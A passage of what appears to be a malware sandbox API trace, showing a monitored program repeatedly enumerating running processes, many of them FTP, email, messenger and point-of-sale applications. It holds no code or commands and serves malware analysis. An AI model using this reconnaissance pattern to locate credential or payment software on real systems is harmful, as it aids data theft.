lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0258.614] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0258.615] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0258.617] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0258.619] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0258.621] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0258.623] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0258.625] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0258.627] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0258.679] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0258.681] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0258.683] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0258.685] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0258.687] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0258.689] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0258.691] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0258.693] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0258.695] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0258.698] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0258.700] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0258.702] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0258.704] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0258.706] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0258.708] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0258.710] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0258.712] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0258.713] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0258.715] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0258.717] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0258.719] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0258.771] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0258.773] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0258.776] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0258.778] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0258.780] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0258.782] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0258.785] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0258.787] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0258.789] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0258.791] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0258.793] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0258.796] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0258.798] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0258.800] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0258.802] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0258.804] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0258.807] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0258.809] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0258.811] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0258.813] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0258.867] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0258.870] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0258.872] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0258.875] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0258.877] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0258.879] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0258.882] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0258.884] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0258.886] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0258.888] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0258.891] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0258.893] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0258.895] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0258.897] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0258.900] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0258.902] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0258.904] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0258.906] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0258.908] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0258.960] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0258.962] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0258.965] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0258.967] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0258.969] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0258.971] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0258.973] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0258.975] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0258.977] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0258.979] CloseHandle (hObject=0x1038) returned 1 [0258.979] Sleep (dwMilliseconds=0x64) [0259.021] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1038 [0259.087] Process32First (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0259.089] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0259.091] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0259.093] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0259.095] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0259.108] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, 